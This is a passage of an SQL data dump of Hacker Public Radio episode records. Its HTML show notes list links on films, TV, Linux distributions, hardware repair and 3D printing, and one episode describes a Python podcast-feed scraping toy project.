Whale</p>\n<p><a href=\"https://funkwhale.audio/\" class=\"uri\">https://funkwhale.audio/</a></p>\n<p>Moss announces the passing of Betty White - RIP</p>\n<p><a href=\"https://www.cnn.com/2022/01/10/entertainment/betty-white-cause-of-death/index.html\" class=\"uri\">https://www.cnn.com/2022/01/10/entertainment/betty-white-cause-of-death/index.html</a></p>\n<p><a href=\"https://www.rollingstone.com/tv-movies/tv-movie-news/betty-white-dead-obituary-197806/\" class=\"uri\">https://www.rollingstone.com/tv-movies/tv-movie-news/betty-white-dead-obituary-197806/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Golden_Girls\" class=\"uri\">https://en.wikipedia.org/wiki/The_Golden_Girls</a></p>\n<p><a href=\"https://www.grunge.com/659496/the-truth-about-betty-whites-guinness-world-record/\" class=\"uri\">https://www.grunge.com/659496/the-truth-about-betty-whites-guinness-world-record/</a></p>\n<p>The guys mention - Ultramarines : A Warhammer 40k movie</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultramarines:_A_Warhammer_40,000_Movie\" class=\"uri\">https://en.wikipedia.org/wiki/Ultramarines:_A_Warhammer_40,000_Movie</a></p>\n<p><a href=\"https://youtu.be/3fpvOyD5Jr0\" class=\"uri\">https://youtu.be/3fpvOyD5Jr0</a></p>\n<p>Warhammer Cosplay</p>\n<p><a href=\"https://youtu.be/9RpfpSyWGhk\" class=\"uri\">https://youtu.be/9RpfpSyWGhk</a></p>\n<p><a href=\"https://youtu.be/VZ8_aU0G094\" class=\"uri\">https://youtu.be/VZ8_aU0G094</a></p>\n<p><a href=\"https://www.belloflostsouls.net/2020/08/40k-cosplay-the-ultramarine-by-upw-designs.html\" class=\"uri\">https://www.belloflostsouls.net/2020/08/40k-cosplay-the-ultramarine-by-upw-designs.html</a></p>\n<p><a href=\"https://www.instructables.com/Warhammer-40K-Tech-Priest-Cosplay-SKS-Props/\" class=\"uri\">https://www.instructables.com/Warhammer-40K-Tech-Priest-Cosplay-SKS-Props/</a></p>\n<p>Matrix Movie (Matrix Resurrections) + other NPH (Neil Patrick Harris) films</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Matrix_Resurrections\" class=\"uri\">https://en.wikipedia.org/wiki/The_Matrix_Resurrections</a></p>\n<p><a href=\"https://www.imdb.com/title/tt10838180/\" class=\"uri\">https://www.imdb.com/title/tt10838180/</a></p>\n<p>8-Bit Christmas</p>\n<p><a href=\"https://www.imdb.com/title/tt11540284/\" class=\"uri\">https://www.imdb.com/title/tt11540284/</a></p>\n<p>Doctor Horrible\'s Sing-Along</p>\n<p><a href=\"https://www.imdb.com/title/tt1227926/\" class=\"uri\">https://www.imdb.com/title/tt1227926/</a></p>\n<p>Bruce Campbell in Black Friday + other Bruce projects</p>\n<p><a href=\"https://www.imdb.com/title/tt11649338/\" class=\"uri\">https://www.imdb.com/title/tt11649338/</a></p>\n<p>Deadite (Evil Dead films)</p>\n<p><a href=\"https://evildead.fandom.com/wiki/Deadite\" class=\"uri\">https://evildead.fandom.com/wiki/Deadite</a></p>\n<p>Burn Notice</p>\n<p><a href=\"https://www.imdb.com/title/tt0810788/\" class=\"uri\">https://www.imdb.com/title/tt0810788/</a></p>\n<p>The Adventures of Brisco County Jr.</p>\n<p><a href=\"https://www.imdb.com/title/tt0105932/\" class=\"uri\">https://www.imdb.com/title/tt0105932/</a></p>\n<p>Burn Notice Movie - The Fall of Sam Axe</p>\n<p><a href=\"https://www.imdb.com/title/tt1697851/\" class=\"uri\">https://www.imdb.com/title/tt1697851/</a></p>\n<p>Ash Vs Evil Dead (TV Series)</p>\n<p><a href=\"https://www.imdb.com/title/tt4189022/\" class=\"uri\">https://www.imdb.com/title/tt4189022/</a></p>\n<p><a href=\"https://evildead.fandom.com/wiki/Ash_vs_Evil_Dead\" class=\"uri\">https://evildead.fandom.com/wiki/Ash_vs_Evil_Dead</a></p>\n<p>Christian Clemenson</p>\n<p><a href=\"https://www.imdb.com/name/nm0166061/\" class=\"uri\">https://www.imdb.com/name/nm0166061/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Christian_Clemenson\" class=\"uri\">https://en.wikipedia.org/wiki/Christian_Clemenson</a></p>\n<p>Freddie Highmore</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Good_Doctor_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Good_Doctor_(TV_series)</a></p>\n<p><a href=\"https://www.imdb.com/title/tt6470478/\" class=\"uri\">https://www.imdb.com/title/tt6470478/</a></p>\n<p>Chat about Lenovo ThinkCentre Products</p>\n<p><a href=\"https://pcsupport.lenovo.com/us/en/products/desktops-and-all-in-ones/thinkcentre-m-series-desktops/thinkcentre-m58\" class=\"uri\">https://pcsupport.lenovo.com/us/en/products/desktops-and-all-in-ones/thinkcentre-m-series-desktops/thinkcentre-m58</a></p>\n<p><a href=\"https://www.lenovo.com/in/en/desktops/thinkcentre/m-series-sff/m83/\" class=\"uri\">https://www.lenovo.com/in/en/desktops/thinkcentre/m-series-sff/m83/</a></p>\n<p><a href=\"https://www.lenovo.com/gb/en/desktops-and-all-in-ones/thinkcentre/m-series-tiny/M700-Tiny/p/11TC1MTM700\" class=\"uri\">https://www.lenovo.com/gb/en/desktops-and-all-in-ones/thinkcentre/m-series-tiny/M700-Tiny/p/11TC1MTM700</a></p>\n<p>Moss Plugs - <a href=\"https://itsmoss.com/\" class=\"uri\">https://itsmoss.com/</a> and talks about installing Linux on his ThinkCentre</p>\n<p><a href=\"https://itsmoss.com/2021/12/22/installing-linux-on-a-thinkcentre-tiny-m700/\" class=\"uri\">https://itsmoss.com/2021/12/22/installing-linux-on-a-thinkcentre-tiny-m700/</a></p>\n<p>A Deeper Dive Into Funk Whale</p>\n<p><a href=\"https://funkwhale.audio/\" class=\"uri\">https://funkwhale.audio/</a></p>\n<p><a href=\"https://funkwhale.audio/en_GB/faqs#decentralized-and-federated\" class=\"uri\">https://funkwhale.audio/en_GB/faqs#decentralized-and-federated</a></p>\n<p><a href=\"https://wiki.archlinux.org/title/Funkwhale\" class=\"uri\">https://wiki.archlinux.org/title/Funkwhale</a></p>\n<p><a href=\"https://twitter.com/funkwhaleaudio\" class=\"uri\">https://twitter.com/funkwhaleaudio</a></p>\n<p>Peer Tube - Free software to take back control of your videos</p>\n<p><a href=\"https://joinpeertube.org/\" class=\"uri\">https://joinpeertube.org/</a></p>\n<p><a href=\"https://twitter.com/joinpeertube\" class=\"uri\">https://twitter.com/joinpeertube</a></p>\n<p>Joe and Danny talk 3-D Printing &amp; Core XY Printers</p>\n<p>Voron Design</p>\n<p><a href=\"https://vorondesign.com/\" class=\"uri\">https://vorondesign.com/</a></p>\n<p>The Best CoreXY 3D Printers in 2022</p>\n<p><a href=\"https://all3dp.com/1/best-corexy-3d-printer/\" class=\"uri\">https://all3dp.com/1/best-corexy-3d-printer/</a></p>\n<p>The Voron 2.4 Build Experience</p>\n<p><a href=\"https://youtu.be/0E0dM0ZdpRE\" class=\"uri\">https://youtu.be/0E0dM0ZdpRE</a></p>\n<p>Core XY Explained</p>\n<p><a href=\"https://youtu.be/_ramiM3KHYE\" class=\"uri\">https://youtu.be/_ramiM3KHYE</a></p>\n<p>Volcano Hot End &amp; Block</p>\n<p><a href=\"https://e3d-online.com/products/volcano-hotend\" class=\"uri\">https://e3d-online.com/products/volcano-hotend</a></p>\n<p><a href=\"https://e3d-online.com/products/volcano-block-for-sensor-cartridges\" class=\"uri\">https://e3d-online.com/products/volcano-block-for-sensor-cartridges</a></p>\n<p>CES 2022</p>\n<p><a href=\"https://www.ces.tech/About-CES.aspx\" class=\"uri\">https://www.ces.tech/About-CES.aspx</a></p>\n<p>Danny gives a thumbs up to the Android Playstation 2 Emulator - Aethersx2</p>\n<p><a href=\"https://play.google.com/store/apps/details?id=xyz.aethersx2.android\" class=\"uri\">https://play.google.com/store/apps/details?id=xyz.aethersx2.android</a></p>\n<p>X-Files : Resist Or Serve for the Playstation 2</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_X-Files:_Resist_or_Serve\" class=\"uri\">https://en.wikipedia.org/wiki/The_X-Files:_Resist_or_Serve</a></p>\n<p>Walkthrough for X-Files : Resist Or Serve</p>\n<p><a href=\"https://youtu.be/_1DoMfufliQ\" class=\"uri\">https://youtu.be/_1DoMfufliQ</a></p>\n<p>PCSX2 - An Open-Source Playstation 2 Emulator supporting over 98% Of the PS2 library</p>\n<p><a href=\"https://pcsx2.net/\" class=\"uri\">https://pcsx2.net/</a></p>\n<p>GTA Vice City</p>\n<p><a href=\"https://www.rockstargames.com/games/vicecity\" class=\"uri\">https://www.rockstargames.com/games/vicecity</a></p>\n<p>Armored Core : Masters Of Arena</p>\n<p><a href=\"https://armoredcore.fandom.com/wiki/Armored_Core:_Master_of_Arena\" class=\"uri\">https://armoredcore.fandom.com/wiki/Armored_Core:_Master_of_Arena</a></p>\n<p><a href=\"http://www.cheatcodes.com/guide/walkthrough-armored-core-master-of-arena-playstation-16686/\" class=\"uri\">http://www.cheatcodes.com/guide/walkthrough-armored-core-master-of-arena-playstation-16686/</a></p>\n<p>Joe Has Some Tech Repairs to Do</p>\n<p>Playstation 3 that needs the optical drive repaired</p>\n<p><a href=\"https://www.ifixit.com/Guide/PlayStation+3+Blu-ray+Disc+Drive+Replacement/3484\" class=\"uri\">https://www.ifixit.com/Guide/PlayStation+3+Blu-ray+Disc+Drive+Replacement/3484</a></p>\n<p>Xbox 360 Drive replacement</p>\n<p><a href=\"https://www.ifixit.com/Guide/Xbox+360+Optical+Drive+Replacement/3358\" class=\"uri\">https://www.ifixit.com/Guide/Xbox+360+Optical+Drive+Replacement/3358</a></p>\n<p>Skullcandy HESH 3 Battery Replacement</p>\n<p><a href=\"https://youtu.be/PLM7wfTCzms\" class=\"uri\">https://youtu.be/PLM7wfTCzms</a> (generic headphone battery replacement video)</p>\n<p>LG Tone Repair</p>\n<p><a href=\"https://youtu.be/DJvzWsT_ESY\" class=\"uri\">https://youtu.be/DJvzWsT_ESY</a></p>\n<p>Open Razer</p>\n<p><a href=\"https://openrazer.github.io/\" class=\"uri\">https://openrazer.github.io/</a></p>\n<p>Clonezilla has built in SSH support</p>\n<p><a href=\"https://clonezilla.org/\" class=\"uri\">https://clonezilla.org/</a></p>\n<p>Radio Shack reviving, rebranding into cryptocurrency platform</p>\n<p><a href=\"https://www.foxbusiness.com/markets/radioshack-rebrands-cryptocurrency-exchange-platform\" class=\"uri\">https://www.foxbusiness.com/markets/radioshack-rebrands-cryptocurrency-exchange-platform</a></p>\n<p><a href=\"https://www.nbcnews.com/pop-culture/pop-culture-news/radioshack-clarify-twitter-wasnt-hacked-just-sell-crypto-now-rcna36112\" class=\"uri\">https://www.nbcnews.com/pop-culture/pop-culture-news/radioshack-clarify-twitter-wasnt-hacked-just-sell-crypto-now-rcna36112</a></p>\n<p>Deal Extreme</p>\n<p><a href=\"https://www.dx.com/\" class=\"uri\">https://www.dx.com/</a></p>\n<p>Brick &amp; Mortar Computer Stores Past &amp; Present</p>\n<p>COMP USA</p>\n<p><a href=\"https://www.compusa.com/\" class=\"uri\">https://www.compusa.com/</a></p>\n<p>Fry\'s Electronics</p>\n<p><a href=\"https://www.frys.com/\" class=\"uri\">https://www.frys.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Fry%27s_Electronics\" class=\"uri\">https://en.wikipedia.org/wiki/Fry%27s_Electronics</a></p>\n<p>Micro Center</p>\n<p><a href=\"https://www.microcenter.com/\" class=\"uri\">https://www.microcenter.com/</a></p>\n<p>Tiger Direct</p>\n<p><a href=\"https://www.tigerdirect.com/\" class=\"uri\">https://www.tigerdirect.com/</a></p>\n<p>Ben Heck &amp; Oscilloscopes</p>\n<p><a href=\"https://youtu.be/RuC8XmDX9iA\" class=\"uri\">https://youtu.be/RuC8XmDX9iA</a></p>\n<p>Mordancy has projects</p>\n<p><a href=\"https://www.proxmox.com/en/\" class=\"uri\">https://www.proxmox.com/en/</a></p>\n<p><a href=\"https://www.docker.com/\" class=\"uri\">https://www.docker.com/</a></p>\n<p><a href=\"https://jitsi.org/\" class=\"uri\">https://jitsi.org/</a></p>\n<p><a href=\"https://joinpeertube.org/\" class=\"uri\">https://joinpeertube.org/</a></p>\n<p><a href=\"https://matrix.org/\" class=\"uri\">https://matrix.org/</a></p>\n<p><a href=\"https://bitbucket.org/product\" class=\"uri\">https://bitbucket.org/product</a></p>\n<p>F(x)tec Pro&#xB9; Phone</p>\n<p><a href=\"https://www.fxtec.com/\" class=\"uri\">https://www.fxtec.com/</a></p>\n<p>Joe and Mordancy chat Cryptocurrency</p>\n<p><a href=\"https://www.investopedia.com/terms/c/cryptocurrency.asp\" class=\"uri\">https://www.investopedia.com/terms/c/cryptocurrency.asp</a></p>\n<p>Nishant gives up Windows for Fedora</p>\n<p><a href=\"https://getfedora.org/en/workstation/download/\" class=\"uri\">https://getfedora.org/en/workstation/download/</a></p>\n<p>Linux LPIC Certifications</p>\n<p><a href=\"https://www.lpi.org/our-certifications/summary-of-certifications\" class=\"uri\">https://www.lpi.org/our-certifications/summary-of-certifications</a></p>\n<p><a href=\"https://www.lpi.org/our-certifications/lpic-1-overview\" class=\"uri\">https://www.lpi.org/our-certifications/lpic-1-overview</a></p>\n<p><a href=\"https://www.lpi.org/our-certifications/lpic-2-overview\" class=\"uri\">https://www.lpi.org/our-certifications/lpic-2-overview</a></p>\n<p>ITIL Certification</p>\n<p><a href=\"https://www.axelos.com/certifications/itil-service-management\" class=\"uri\">https://www.axelos.com/certifications/itil-service-management</a></p>\n<p>3M PELTOR ComTac&#x2122; VI Hearing Defender</p>\n<p><a href=\"https://www.3m.com/3M/en_US/p/d/v100849027/\" class=\"uri\">https://www.3m.com/3M/en_US/p/d/v100849027/</a></p>\n<p>TP-120 Socket</p>\n<p><a href=\"https://connectors.nexus.com/item/telephone-plugs-and-jacks/telephone-plugs/tp-120\" class=\"uri\">https://connectors.nexus.com/item/telephone-plugs-and-jacks/telephone-plugs/tp-120</a></p>\n<p>Fluke 107 Pocket Digital Multimeter</p>\n<p><a href=\"https://www.fluke.com/en-us/product/electrical-testing/digital-multimeters/pocket-107\" class=\"uri\">https://www.fluke.com/en-us/product/electrical-testing/digital-multimeters/pocket-107</a></p>\n<p>Razer Nari Ultimate Headset</p>\n<p><a href=\"https://www.razer.com/gaming-headsets/razer-nari-ultimate/RZ04-02670100-R3U1\" class=\"uri\">https://www.razer.com/gaming-headsets/razer-nari-ultimate/RZ04-02670100-R3U1</a></p>\n<p>Garuda Linux</p>\n<p><a href=\"https://garudalinux.org/\" class=\"uri\">https://garudalinux.org/</a></p>\n<p>Centos</p>\n<p><a href=\"https://www.centos.org/\" class=\"uri\">https://www.centos.org/</a></p>\n<p>FreeBSD</p>\n<p><a href=\"https://www.freebsd.org/\" class=\"uri\">https://www.freebsd.org/</a></p>\n<p>Q-tile - A full-featured, hackable tiling window manager written and configured in Python</p>\n<p><a href=\"http://www.qtile.org/\" class=\"uri\">http://www.qtile.org/</a></p>\n<p>Adam WIlliamson - Fedora Team</p>\n<p><a href=\"https://fedoraproject.org/wiki/User:Adamwill\" class=\"uri\">https://fedoraproject.org/wiki/User:Adamwill</a></p>\n<p><a href=\"https://www.happyassassin.net/\" class=\"uri\">https://www.happyassassin.net/</a></p>\n<p><a href=\"https://twitter.com/adamw_ha\" class=\"uri\">https://twitter.com/adamw_ha</a></p>\n<p><a href=\"https://fedoramagazine.org/fedora-qa-adam-williamson/\" class=\"uri\">https://fedoramagazine.org/fedora-qa-adam-williamson/</a></p>\n<p>Raspberry Pi Price Jump</p>\n<p><a href=\"https://www.tomshardware.com/news/raspberry-pi-4-supply-issues\" class=\"uri\">https://www.tomshardware.com/news/raspberry-pi-4-supply-issues</a></p>\n<p>Headphone Repair Chat</p>\n<p>BeyerDynamic DT770</p>\n<p><a href=\"https://www.sweetwater.com/store/detail/DT770pro80--beyerdynamic-dt-770-pro-80-ohm-closed-back-studio-mixing-headphones\" class=\"uri\">https://www.sweetwater.com/store/detail/DT770pro80--beyerdynamic-dt-770-pro-80-ohm-closed-back-studio-mixing-headphones</a></p>\n<p>Audio Technica ATH-M50X</p>\n<p><a href=\"https://www.audio-technica.com/en-us/ath-m50x\" class=\"uri\">https://www.audio-technica.com/en-us/ath-m50x</a></p>\n<p>HP Thin Client Model T6xx (watch for them on Ebay)</p>\n<p><a href=\"https://support.hp.com/us-en/document/c06433828\" class=\"uri\">https://support.hp.com/us-en/document/c06433828</a></p>\n<p>Firefox Phone</p>\n<p><a href=\"https://firefoxosdevices.org/en/#type:smartphones\" class=\"uri\">https://firefoxosdevices.org/en/#type:smartphones</a>|coming-devices:yes</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Firefox_OS\" class=\"uri\">https://en.wikipedia.org/wiki/Firefox_OS</a></p>\n<p>Love 2D Gaming Engine</p>\n<p><a href=\"https://love2d.org/\" class=\"uri\">https://love2d.org/</a></p>\n<p>Roblox</p>\n<p><a href=\"https://www.roblox.com/\" class=\"uri\">https://www.roblox.com/</a></p>\n<p>Minecraft</p>\n<p><a href=\"https://www.minecraft.net/en-us\" class=\"uri\">https://www.minecraft.net/en-us</a></p>\n<p>Alpine Linux</p>\n<p><a href=\"https://www.alpinelinux.org/\" class=\"uri\">https://www.alpinelinux.org/</a></p>\n<p>Rick &amp; Morty</p>\n<p><a href=\"https://rickandmorty.fandom.com/wiki/Rick_and_Morty_(TV_series)\" class=\"uri\">https://rickandmorty.fandom.com/wiki/Rick_and_Morty_(TV_series)</a></p>\n<p>Gravity Falls</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Gravity_Falls\" class=\"uri\">https://en.wikipedia.org/wiki/Gravity_Falls</a></p>\n<p>Final Space</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Final_Space\" class=\"uri\">https://en.wikipedia.org/wiki/Final_Space</a></p>\n<p>Peter Cushing Dr. Who movies</p>\n<p><a href=\"https://tardis.fandom.com/wiki/Peter_Cushing\" class=\"uri\">https://tardis.fandom.com/wiki/Peter_Cushing</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Dr._Who_and_the_Daleks\" class=\"uri\">https://en.wikipedia.org/wiki/Dr._Who_and_the_Daleks</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Daleks%27_Invasion_Earth_2150_A.D\" class=\"uri\">https://en.wikipedia.org/wiki/Daleks%27_Invasion_Earth_2150_A.D</a>.</p>\n<p>Blake\'s 7</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blake%27s_7\" class=\"uri\">https://en.wikipedia.org/wiki/Blake%27s_7</a></p>\n<p>Gorillaz - Clint Eastwood</p>\n<p><a href=\"https://youtu.be/1V_xRb0x9aw\" class=\"uri\">https://youtu.be/1V_xRb0x9aw</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3656,'2022-08-08','Importance of Small toy projects',1149,'Toy projects are a great way to learn a new language, and a project I did just for fun.','<h2 id=\"importance-of-small-toy-projects\">Importance of Small toy projects</h2>\n<p>Inspired by</p>\n<ul>\n<li><a href=\"https://talkpython.fm/episodes/transcript/327/little-automation-tools-in-python\" class=\"uri\">https://talkpython.fm/episodes/transcript/327/little-automation-tools-in-python</a>\n<ul>\n<li>Automating little things</li>\n</ul></li>\n<li>hpr3558 :: How I\'m learning Haskell\n<ul>\n<li>The Host talks about learning Haskell and says something like</li>\n<li>Finishing a small project is better than Starting a big project and not completing it.</li>\n<li>And You can not learn to code by reading, you need practice</li>\n</ul></li>\n</ul>\n<h3 id=\"my-recommendation-for-learning-a-new-language.\">My recommendation for learning a new language.</h3>\n<ol type=\"1\">\n<li>Think about a small problem you want to solve with code.</li>\n<li>Start banging away at it.</li>\n<li>Redo over and over, its OK</li>\n<li>Same project but better</li>\n<li>Learn new tech and practice</li>\n</ol>\n<h3 id=\"an-example-of-one-of-my-small-projects\">An example of one of my small projects</h3>\n<ul>\n<li>Original intent of my podfaded project\n<ul>\n<li>Mostly Tech/Linux podcasts</li>\n<li>Find every podcast I could</li>\n<li>Track release cadence</li>\n<li>Rate how podfaded the feed is</li>\n<li>Use search API to find RSS feeds</li>\n</ul></li>\n</ul>\n<h3 id=\"first-attempt-plan\">First attempt plan</h3>\n<ul>\n<li>Scrape podcast networks\n<ul>\n<li>used beautiful soup - something I wanted to learn anyway</li>\n<li>HTML\n<ul>\n<li>Jinja templating - something I wanted to learn anyway</li>\n<li>Bootstrap - something I wanted to learn anyway</li>\n<li>Different colors based on how podfaded</li>\n</ul></li>\n</ul></li>\n</ul>\n<h3 id=\"first-attempt-problems\">First attempt problems</h3>\n<ul>\n<li>individual script per network</li>\n<li>4-5 different scripts</li>\n<li>took forever to run</li>\n<li>Broke when networks changed their page layout</li>\n</ul>\n<h3 id=\"redo\">Redo</h3>\n<ul>\n<li>Test Driven Development and pytest\n<ul>\n<li>Red Green Refactor</li>\n<li>Confidence to change code</li>\n</ul></li>\n<li>Simplify - one scrapper script</li>\n<li>Embed audio player for latest episode</li>\n</ul>\n<h3 id=\"how-it-works---scraping-pages-for-feeds\">How it works - Scraping pages for feeds</h3>\n<ul>\n<li><code>scrape_for_feeds.py</code></li>\n<li>Provide a list of websites that have lists of podcasts</li>\n<li>Search the page for any links</li>\n<li>Check if the feed is valid by trying to parse it with <code>feedparser</code></li>\n<li>Add feed to database</li>\n</ul>\n<h3 id=\"podcasts-pages-i-scrape\">Podcasts pages I scrape</h3>\n<ul>\n<li><a href=\"https://wiki.ubuntu.com/Podcasts\" class=\"uri\">https://wiki.ubuntu.com/Podcasts</a></li>\n<li><a href=\"http://www.thelinuxlink.net\" class=\"uri\">http://www.thelinuxlink.net</a></li>\n<li><a href=\"http://freeculturepodcasts.org\" class=\"uri\">http://freeculturepodcasts.org</a></li>\n</ul>\n<h3 id=\"how-it-works---checking-the-feeds\">How it works - Checking the feeds</h3>\n<ul>\n<li><code>feed_info.py</code></li>\n<li>loop through feeds</li>\n<li>use <code>feedparser</code> to find latest episode\n<ul>\n<li>title and enclosure (audio file)</li>\n</ul></li>\n</ul>\n<h3 id=\"html-output\">HTML Output</h3>\n<ul>\n<li><a href=\"https://podfaded.norrist.xyz/\" class=\"uri\">https://podfaded.norrist.xyz/</a></li>\n<li>Currently hosted on a Free Tier VPS</li>\n<li>No Promises it will be there forever</li>\n</ul>\n<h3 id=\"feedback-welcome\">Feedback Welcome</h3>\n<ul>\n<li><a href=\"https://gitlab.com/norrist/podfaded2\" class=\"uri\">https://gitlab.com/norrist/podfaded2</a></li>\n<li>Bugs\n<ul>\n<li>Sometimes the title is missing, so some of the CSS coloring doesn\'t work</li>\n<li>Excluded podcasts still occasionally show up on the list</li>\n</ul></li>\n<li>Looking for more curated lists of podcast pages\n<ul>\n<li>not search sites</li>\n</ul></li>\n<li>Maybe scrape HPR podcast recommendation episodes</li>\n</ul>\n<p><em>Example</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3656/podfaded.png\" alt=\"Example\" /></p>\n',342,0,0,'CC-BY-SA','python, programming',0,0,1),
(3672,'2022-08-30','2021-2022 New Years Show Part 3',11934,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-3\">Part 3</h3>\n<p>WebRTC with RPi Zero - resolution of the ribbon cable camera could be better.</p>\n<p>Tried without success: uv4l (h264) <a href=\"https://www.linux-projects.org\" class=\"uri\">https://www.linux-projects.org</a></p>\n<p>Raspberry Pi Zero</p>\n<p><a href=\"https://www.raspberrypi.com/products/raspberry-pi-zero/\" class=\"uri\">https://www.raspberrypi.com/products/raspberry-pi-zero/</a></p>\n<p>ESP 32 Camera</p>\n<p><a href=\"https://makeradvisor.com/esp32-camera-cam-boards-review-comparison/\" class=\"uri\">https://makeradvisor.com/esp32-camera-cam-boards-review-comparison/</a></p>\n<p>CHDK - Canon Hack Development Kit</p>\n<p><a href=\"https://chdk.fandom.com/wiki/CHDK\" class=\"uri\">https://chdk.fandom.com/wiki/CHDK</a></p>\n<p>uStreamer (mjpg stream) <a href=\"https://github.com/pikvm/ustreamer\" class=\"uri\">https://github.com/pikvm/ustreamer</a></p>\n<p>PiKrellCam (mjpeg stream) <a href=\"https://billw2.github.io/pikrellcam/pikrellcam.html\" class=\"uri\">https://billw2.github.io/pikrellcam/pikrellcam.html</a></p>\n<p>to forward H264 instead of mjpeg</p>\n<p>WebRTC-streamer <a href=\"https://github.com/mpromonet/webrtc-streamer\" class=\"uri\">https://github.com/mpromonet/webrtc-streamer</a></p>\n<p>WebRTC streamer (RWS) <a href=\"https://github.com/kclyu/rpi-webrtc-streamer\" class=\"uri\">https://github.com/kclyu/rpi-webrtc-streamer</a></p>\n<p>CET Germany and 45 more Brussels, Madrid, Paris, Rome, Algiers</p>\n<p>Moss talks about investing with Robin Hood</p>\n<p><a href=\"https://robinhood.com/us/en/\" class=\"uri\">https://robinhood.com/us/en/</a></p>\n<p>Robin Hood Controversy With Game Stop</p>\n<p><a href=\"https://www.nytimes.com/2021/02/18/business/gamestop-robinhood-hearing.html\" class=\"uri\">https://www.nytimes.com/2021/02/18/business/gamestop-robinhood-hearing.html</a></p>\n<p>FOSS North</p>\n<p><a href=\"https://foss-north.se/\" class=\"uri\">https://foss-north.se/</a></p>\n<p>The Grahm Norton Show</p>\n<p><a href=\"https://www.bbc.co.uk/programmes/b006xnzc\" class=\"uri\">https://www.bbc.co.uk/programmes/b006xnzc</a></p>\n<p>Stephen Colbert</p>\n<p><a href=\"https://www.cbs.com/shows/the-late-show-with-stephen-colbert/\" class=\"uri\">https://www.cbs.com/shows/the-late-show-with-stephen-colbert/</a></p>\n<p>Jon Stewart</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Jon_Stewart\" class=\"uri\">https://en.wikipedia.org/wiki/Jon_Stewart</a></p>\n<p>Highest Point in the Netherlands</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Vaalserberg\" class=\"uri\">https://en.wikipedia.org/wiki/Vaalserberg</a></p>\n<p>Seinfeld TV Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0098904/\" class=\"uri\">https://www.imdb.com/title/tt0098904/</a></p>\n<p>Big Bang Theory</p>\n<p><a href=\"https://www.imdb.com/title/tt0898266/\" class=\"uri\">https://www.imdb.com/title/tt0898266/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Big_Bang_Theory\" class=\"uri\">https://en.wikipedia.org/wiki/The_Big_Bang_Theory</a></p>\n<p>Joe Talks Installing Linux on Tablets</p>\n<p>ASUS Transformer Line - where Joe started his journey with installing Linux on tablets</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asus_Transformer\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Transformer</a></p>\n<p>Dell Tablets</p>\n<p><a href=\"https://www.dell.com/en-us/shop/handhelds-tablet-pcs/ac/4327\" class=\"uri\">https://www.dell.com/en-us/shop/handhelds-tablet-pcs/ac/4327</a></p>\n<p><a href=\"https://i.dell.com/sites/doccontent/corporate/secure/en/Documents/dell-venue-11pro-brochure.pdf\" class=\"uri\">https://i.dell.com/sites/doccontent/corporate/secure/en/Documents/dell-venue-11pro-brochure.pdf</a></p>\n<p><a href=\"https://www.dell.com/support/home/en-us/product-support/product/dell-venue-11i-pro/overview\" class=\"uri\">https://www.dell.com/support/home/en-us/product-support/product/dell-venue-11i-pro/overview</a></p>\n<p><a href=\"https://www.dell.com/support/manuals/en-us/dell-venue-11-pro-7000-7140/dell_venue11pro_7140_ug-v1/specifications?guid=guid-ed3189c3-1247-45a2-8265-e9851188ff3e\" class=\"uri\">https://www.dell.com/support/manuals/en-us/dell-venue-11-pro-7000-7140/dell_venue11pro_7140_ug-v1/specifications?guid=guid-ed3189c3-1247-45a2-8265-e9851188ff3e</a></p>\n<p>Installing Linux On Chromebooks</p>\n<p><a href=\"https://itsfoss.com/install-linux-chromebook/\" class=\"uri\">https://itsfoss.com/install-linux-chromebook/</a></p>\n<p><a href=\"https://www.pcmag.com/how-to/install-linux-on-your-chromebook\" class=\"uri\">https://www.pcmag.com/how-to/install-linux-on-your-chromebook</a></p>\n<p>Netherlands Vs. Holland - Whats the difference?</p>\n<p><a href=\"https://www.holland.com/global/tourism/information/general/netherlands-vs-holland.htm\" class=\"uri\">https://www.holland.com/global/tourism/information/general/netherlands-vs-holland.htm</a></p>\n<p>Mark Shuttleworth</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Mark_Shuttleworth\" class=\"uri\">https://en.wikipedia.org/wiki/Mark_Shuttleworth</a></p>\n<p><a href=\"https://www.markshuttleworth.com/\" class=\"uri\">https://www.markshuttleworth.com/</a></p>\n<p>Endless OS</p>\n<p><a href=\"https://endlessos.com/home/\" class=\"uri\">https://endlessos.com/home/</a></p>\n<p><a href=\"https://distrowatch.com/table.php?distribution=endless\" class=\"uri\">https://distrowatch.com/table.php?distribution=endless</a></p>\n<p>Hannah Montana Linux</p>\n<p><a href=\"http://hannahmontana.sourceforge.net/\" class=\"uri\">http://hannahmontana.sourceforge.net/</a></p>\n<p>Ittoqqortoormiit is in Greenland</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ittoqqortoormiit\" class=\"uri\">https://en.wikipedia.org/wiki/Ittoqqortoormiit</a></p>\n<p><a href=\"https://visitgreenland.com/destinations/ittoqqortoormiit/\" class=\"uri\">https://visitgreenland.com/destinations/ittoqqortoormiit/</a></p>\n<p>Joe Suggests Reading Brandon Sanderson</p>\n<p><a href=\"https://www.brandonsanderson.com/\" class=\"uri\">https://www.brandonsanderson.com/</a></p>\n<p>How Did Napoleon Influence What Side of the Road We Drive On Today?</p>\n<p><a 